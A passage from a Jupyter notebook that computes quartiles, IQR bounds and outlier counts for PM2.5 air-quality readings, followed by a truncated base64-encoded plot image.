"min_value = pm25_stats[\"min\"]\n",
"max_value = pm25_stats[\"max\"]\n",
"median = pm25_stats[\"50%\"]\n",
"\n",
"print(f\"Q1: {Q1}\")\n",
"print(f\"Median (Q2): {median}\")\n",
"print(f\"Q3: {Q3}\")\n",
"print(f\"IQR: {IQR}\")\n",
"print(f\"Min: {min_value}\")\n",
"print(f\"Max: {max_value}\")\n",
"\n",
"# Calculate Boundaries\n",
"lower_bound = Q1 - 1.5 * IQR\n",
"upper_bound = Q3 + 1.5 * IQR\n",
"\n",
"# Get Outliers\n",
"outliers = poor_air_quality_df[(poor_air_quality_df[\"PM2.5\"] < lower_bound) |\n",
" (poor_air_quality_df[\"PM2.5\"] > upper_bound)]\n",
"\n",
"print(f\"Number of outliers: {len(outliers)}\")"
],
"id": "81b8c7bef8477341",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 800x600 with 1 Axes>"
],
"image/png": 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UrVo1NWnSRJ6enlq1apVTmT179igmJkbNmjWTdO001IsvvqiAgADNmzdPd955p8aNG6fExMRC719gYKD8/f2z9Ck6Olr79u2z+5TXqS9JCgsL06lTp7Kcal25cqU8PDzyPLJWWHr06KFDhw5p+vTpud608PPPP+t//ud/VKVKFS1cuDBfp1k9PDw0YcIEffrpp07L169frytXrqhly5b57mdYWJgiIyPto2bpVq5cKX9/f9WoUSPfdS1dulRNmzZV586d1bJlS6evv/3tb4qLi8tyc0xB9e7dWzVr1tSECRPsI8dXr17V0KFD1atXL3322WdasWKFBg8ebIe4UqVKSZJ9R7kkff/990717t27V6VLl9bjjz9ub3f58mXt3bs336eSc5qf/fv3t++mrVmzZpZTqpk1atQox68beXh2RmFhYdqwYYPT0c3U1FR9+eWXatSokTw9PYvNZwm4FQiAuK0lJCRo37599tfu3bv11ltvadWqVfZRDT8/Pz3++ONatGiRJkyYoK1bt2r+/PkaPXq0ateubT/E9pNPPtFPP/2kN954Q97e3nr99dcVExOjyZMnF3q/XV1d9eyzz2r79u0aM2aMNm3apOXLl2v48OHy9fXV8OHDJcm+Xmnjxo05nubs16+fateurVGjRmnevHnaunWr/vGPf2jJkiUaMWJEliNTN0uLFi3k7++v6dOnq0ePHjlet/bKK6/I4XBo1KhROn36tNP7l/ExMBlfe3t769FHH9WKFSs0adIkfffdd5o5c6ZefPFFdezYUW3atMl3P4cPHy4/Pz8NHz5cy5cv16ZNmzRmzBjt2LFDY8aMyfd1XT/88IN+++039ezZM9v1d911l3x9fTV//vx89y073t7eev/99xUfH697771XM2fO1P79+zV+/HidO3dOkyZNUunSpfXEE0/Y26Rfp/bqq69q+/btWrp0qcaPH+90jWXjxo0VHx+vt956Szt37tSqVav04IMPKjY2Nt9/LSWn+Vm5cmW1adNGu3btUt++fW9o/wvLqFGjlJycrIceekhr167V+vXr9eijjyo6Otq+Fre4fJaAW4FTwLit/fzzz0532Xp5eal69eoaM2aM0wOFR48erfLly2vOnDlatGiR/Pz81K1bNz3zzDPy9vbWwYMH9dFHH+mBBx6wT7PVq1dPw4YN04wZM9S5c2e1bt26UPv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NGjVSSEiIQkJC1LRpU7Vt21aTJk1SWlqaJOmll15ScHCw3n333Szbnzt3TnfeeaciIiLsZTt37tTAgQPVvHlztW/fXm+88YaSkpJy7EP37t3VpEkTuw8hISE6cuRIjuXPnDmjCRMmKCIiQiEhIerYsaPGjx+v2NjYGxiJW2PMmDFavnz5dW8/d+5cvfrqq/brnj17auXKlYXQs+x99dVXeu211wqtvoSEBLVt21YOh6NA29WsWVPz5s3ToEGDtH37dknSq6++qq+++qrQ+gag8BEAgWJswoQJioyMVGRkpPbt26cZM2Zo+fLlmjZtml2mbNmyWrFihR0K0y1fvlxeXl726z/++ENPPPGE+vfvr507d2rBggWKjIzU5MmTs207ISFBUVFRWrNmjd2HyMhI1apVK9vyx48fV+/evZWWlqa5c+cqMjJS8+fP18WLF/W3v/1NCQkJhTAiN8+FCxduaPvz5887vf7yyy/Vp0+fG6ozt7YmTZqkZ555ptDq3LRpk8LDw+Xu7l6g7e6++259//33mjNnjtq0aSNJevbZZ/X2229nGRMAxQcBELiNBAcHKywsTD///LO9LDw8XCkpKfbRl3RLly5Vz5497dfR0dGKiIjQ/fffLzc3N1WuXFn33HOPdu/enW1bP/74o/z8/BQQEJCvvk2cOFGNGzfWhAkTVLlyZUlSpUqV9Pbbb6t+/fo6dOiQpGtB69VXX1Xbtm3VsmVLjRgxwj51evLkSQUHB2vRokWKiIhQaGiohg8frt9//91uZ9WqVerVq5dCQkLUvXt3rVmzxl735Zdfqnfv3goNDVW/fv20detWe92QIUP07rvv6sEHH8yy7SuvvKI9e/bok08+0RNPPGH346233lJYWJgmTJig5ORkTZo0Sd27d1dISIhat26t119/XZZladmyZfrkk0+0Z88eNW/eXNK1I7hLly6VJF25ckVvv/22OnTooLCwMA0ZMkQ//PCD0/v6+eefq2vXrgoJCdEDDzygX3/9Ncex/ve//622bduqXLlykqSpU6dqyJAhTmUytp+amqr/9//+n8LDw9WmTRuNHz9eDzzwgL1eunZEsXPnznZ/FixYoK5du6pJkyZ64okn9OOPP+qBBx5QSEiI+vfvr+PHjystLU3z589Xq1atNHv2bL399tuSrv2nJDw8XNOnT8990gAoMgRA4DaRkpKinTt3aseOHQoPD7eXe3h4qFevXlq2bJm9bN++fbIsS02bNrWXNW/e3OlUcVpamr7++ms1bNgw2/YOHDggb29vDR48WC1btlS/fv20YcOGbMsmJydry5YtToEznZeXl95/